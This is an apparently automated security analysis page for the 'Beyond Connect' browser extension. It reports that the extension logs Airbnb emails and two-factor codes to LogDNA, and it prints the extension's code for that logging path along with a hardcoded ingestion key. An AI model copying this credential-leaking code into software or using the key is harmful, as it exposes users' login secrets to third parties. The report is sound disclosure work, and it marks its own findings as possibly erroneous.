Is Beyond Connect safe?
Beyond Connect sends Airbnb login identifiers and 2FA codes to LogDNA telemetry.
Beyond Connect logs Airbnb authentication details during its Beyond app login flow, including email/user context and 2FA request metadata. It also bridges VRBO credentials and session cookies from VRBO and Expedia Group pages back to Beyond app pages after authentication.
Who publishes itBeyond Pricing - no other listings under this identity, 1 shared hostname
Beyond Pricing - no other listings under this identity, 1 shared hostname
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Airbnb 2FA code enters LogDNA telemetry
During Beyond Connect's Airbnb login, the extension adds your Airbnb email to LogDNA context and logs metadata containing the 2FA code.
The bundled LogDNA sender posts those lines to logs.logdna.com/logs/ingest with a hardcoded key.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You complete the Airbnb login and two-factor-code steps inside the Beyond Connect flow.
The extension puts the Airbnb email into LogDNA context and logs metadata that includes the submitted 2FA code.
- Airbnb account emailguest.ops@example.com
This can identify which Airbnb account is going through the Beyond Connect login flow.
- Airbnb two-factor code482913
This one-time code is part of completing the active account login challenge.
- Airlock challenge IDc7f8b23d-4b84-4b1d-8e3b-7b20b5b54c11
This ties the code submission to a specific Airbnb login challenge.
- Content-Type
- application/json
- Authorization
- Basic <redacted>
The shipped auth bridge and telemetry sender
Readable equivalent of the page bridge
script.jswindow.__BEYOND_EXT__ = { login: (email, password, { user } = {}) => new Promise((resolve) => { document.addEventListener("BEYOND_EXT_LOGIN_RESPONSE", function loginResponseHandler(event) { document.removeEventListener("BEYOND_EXT_LOGIN_RESPONSE", loginResponseHandler); resolve(event.detail); }); document.dispatchEvent(new CustomEvent("BEYOND_EXT_LOGIN", { detail: { user, email, password } })); }), request2FA: (airlockId) => new Promise((resolve) => { document.addEventListener("BEYOND_EXT_REQUEST_2FA_RESPONSE", function request2FAResponseHandler(event) { document.removeEventListener("BEYOND_EXT_REQUEST_2FA_RESPONSE", request2FAResponseHandler); resolve(event.detail); }); document.dispatchEvent(new CustomEvent("BEYOND_EXT_REQUEST_2FA", { detail: { airlockId } })); }), select2FA: (airlockId, method, methodId, airlockVersion) => new Promise((resolve) => { document.addEventListener("BEYOND_EXT_SELECT_2FA_RESPONSE", function select2FAResponseHandler(event) { document.removeEventListener("BEYOND_EXT_SELECT_2FA_RESPONSE", select2FAResponseHandler); resolve(event.detail); }); document.dispatchEvent(new CustomEvent("BEYOND_EXT_SELECT_2FA", { detail: { airlockId, method, methodId, airlockVersion } })); }), send2FACode: (airlockId, method, methodId, code, airlockVersion) => new Promise((resolve) => { document.addEventListener("BEYOND_EXT_SEND_2FA_CODE_RESPONSE", function send2FACodeResponseHandler(event) { document.removeEventListener("BEYOND_EXT_SEND_2FA_CODE_RESPONSE", send2FACodeResponseHandler); resolve(event.detail); }); document.dispatchEvent(new CustomEvent("BEYOND_EXT_SEND_2FA_CODE", { detail: { airlockId, method, methodId, code, airlockVersion } })); })};Readable equivalent of the content-script logging path
content.173d7dd2.jslogdna.init("2954db5ead547d76cf275a44e8805f8a", { app: "chrome-extension" }) .addContext({ version: "v1.0.0" });document.addEventListener("BEYOND_EXT_LOGIN", (event) => { chrome.runtime.sendMessage("", { type: "login", message: { email: event.detail.email, password: event.detail.password } }, (response) => { document.dispatchEvent(new CustomEvent("BEYOND_EXT_LOGIN_RESPONSE", { detail: { status: response.status, body: response.body, deviceId: response.deviceId } })); const meta = response.meta; const message = Object.keys(meta).map((key) => `${key}: ${meta[key]}`).join(" - "); logdna.log("Login Request: " + message); }); logdna.addContext({ meta: { user: event.detail.user, email: event.detail.email } });});document.addEventListener("BEYOND_EXT_SEND_2FA_CODE", (event) => { chrome.runtime.sendMessage("", { type: "send2FACode", message: { airlockId: event.detail.airlockId, method: event.detail.method, methodId: event.detail.methodId, code: event.detail.code, airlockVersion: event.detail.airlockVersion } }, (response) => { if (response.type === "send2FACode_response") { document.dispatchEvent(new CustomEvent("BEYOND_EXT_SEND_2FA_CODE_RESPONSE", { detail: { status: response.status, body: response.body, email: response.email, password: response.password } })); const meta = response.meta; const message = Object.keys(meta).map((key) => `${key}: ${meta[key]}`).join(" - "); logdna.log("Send 2FA Request: " + message); idbKeyval.delMany(["email", "password", "device-id"]).then(() => { console.log("Deleted all data"); }); } });});Readable equivalent of background response metadata
background.29a1a909.jschrome.runtime.onMessage.addListener((request, _sender, sendResponse) => { if (request.type === "login") { (async function loginMessage(email, password) { const { result, deviceId } = await airbnb.login(email, password); const body = await result.json(); const meta = { url: result.url, status: result.status, body: JSON.stringify(body), deviceId }; sendResponse({ type: "login_response", status: result.status, body, deviceId, meta }); })(request.message.email, request.message.password); } if (request.type === "send2FACode") { (async function sendCodeMessage(airlockId, method, methodId, code, airlockVersion) { const result = await airbnb.send2FACode(airlockId, method, methodId, code, airlockVersion); const body = await result.json(); const meta = { url: result.url, status: result.status, body: JSON.stringify(body), airlockId, method, methodId, code }; const email = await idbKeyval.get("email"); const password = await idbKeyval.get("password"); sendResponse({ type: "send2FACode_response", status: result.status, body, meta, email, password }); })(request.message.airlockId, request.message.method, request.message.methodId, request.message.code, request.message.airlockVersion); }});Readable equivalent of LogDNA POST construction
content.173d7dd2.jsLoggerTransport.prototype.send = async function send(lines) { if (this.loggerError) { return; } const query = new URLSearchParams([ ["hostname", this.options.hostname], ["now", String(Date.now())], ["tags", this.options.tags] ]); const url = this.options.url + "?" + query; const retryMessage = "Unable to send previous logs batch to LogDNA."; try { const response = await fetch(url, { method: "POST", keepalive: true, headers: { Authorization: "Basic " + btoa(this.ingestionKey + ":"), "Content-Type": "application/json" }, body: stringify({ lines }) }); if (response.ok) { this.retryCount = 0; this.backOffInterval = 0; } else if (response.status >= 400 && response.status < 500) { this.options.log(retryMessage + ": " + response.statusText); } else if (response.status >= 500) { this.retryCount = this.retryCount + 1; if (this.retryCount > 30) { this.options.log(retryMessage + ": " + response.statusText); } else { this.logLines(lines); } } } catch (error) { this.loggerError = true; const consoleError = window.__LogDNA__?.console?.error || window.console.error; consoleError("LogDNA Browser Logger is unable to send logs to LogDNA. \n Possible issues:\n - Your web apps url (" + window.location?.origin + ") is not listed in your LogDNA account's CORS whitelist domains\n - Ingestion key is incorrect\n - The configured LogDNA ingestion url is incorrect\n - LogDNA ingestion endpoint is down. https://status.logdna.com/\n\n Error: " + error.message + "\n "); }};- logs.logdna.com
Receives the LogDNA telemetry POST containing queued log lines and logger context from the extension bundle.
- api.airbnb.com
Receives the Airbnb authentication and two-factor requests that the background worker wraps with response metadata.
- www.airbnb.com
Receives the alternate Airbnb airlock request path used for some two-factor-code submissions.
Where it sends data
Destinations our analysis observed Beyond Connect contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- logs.logdna.com
Beyond Connect sends data to logs.logdna.com. No other extension we have analysed sends data here.